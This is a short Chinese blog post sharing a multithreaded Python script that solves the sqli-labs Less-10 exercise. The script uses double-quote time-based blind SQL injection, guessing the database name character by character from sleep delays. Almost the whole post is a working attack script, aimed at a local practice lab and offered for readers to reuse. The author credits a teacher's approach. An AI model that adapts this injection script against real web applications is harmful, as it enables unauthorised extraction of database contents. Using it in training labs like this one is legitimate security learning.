sql-lib-10-time based -double多线程队列脚本(只针对爆库)

参照ichunqiu的ADO老师的代码思路写了一个只爆库的例子

import requests
import time
import queue
import threading
import re


result=''

class DoRun(threading.Thread):
    def __init__(self,que):
        threading.Thread.__init__(self)
        self._queue=que

    def run(self):
        while not self._queue.empty():
            url=self._queue.get_nowait()
            self.sleepdatabase(url)


    def sleepdatabase(self,url):

        ptime=time.time()
        res=requests.get(url)
        ntime=time.time()
        gaptime=ntime-ptime
        if gaptime<5:
            i = re.findall('database\(\),\w,1\)=%22(.*?)%22', res.url)
            global result
            result=result+"".join(i)
            print(result)


def main():
    print("Main thread started !")
    threads=[]
    thread_count=10

    que=queue.Queue()
    test = "asebrjcuitxy"
    for j in range(1, 10):
        for i in test:
            que.put('http://127.0.0.1:81/sqli-labs-master/sqli-labs-master/Less-10/?id=1" and if(substr(database(),%s,1)="%s",1,sleep(5))--+'%(j,i))


    for i in range(thread_count):
        #t=threading.Thread(target=sleepdatabase)
        threads.append(DoRun(que))

    for i in range(thread_count):
        threads[i].start()

    for i in range(thread_count):
        threads[i].join()

    print("Main thread done !")


if __name__=="__main__":
    main()

准备从今天开始记录一些自己手写或转载的菜鸡代码，如转载会注明出处。
再次感谢ADO老师！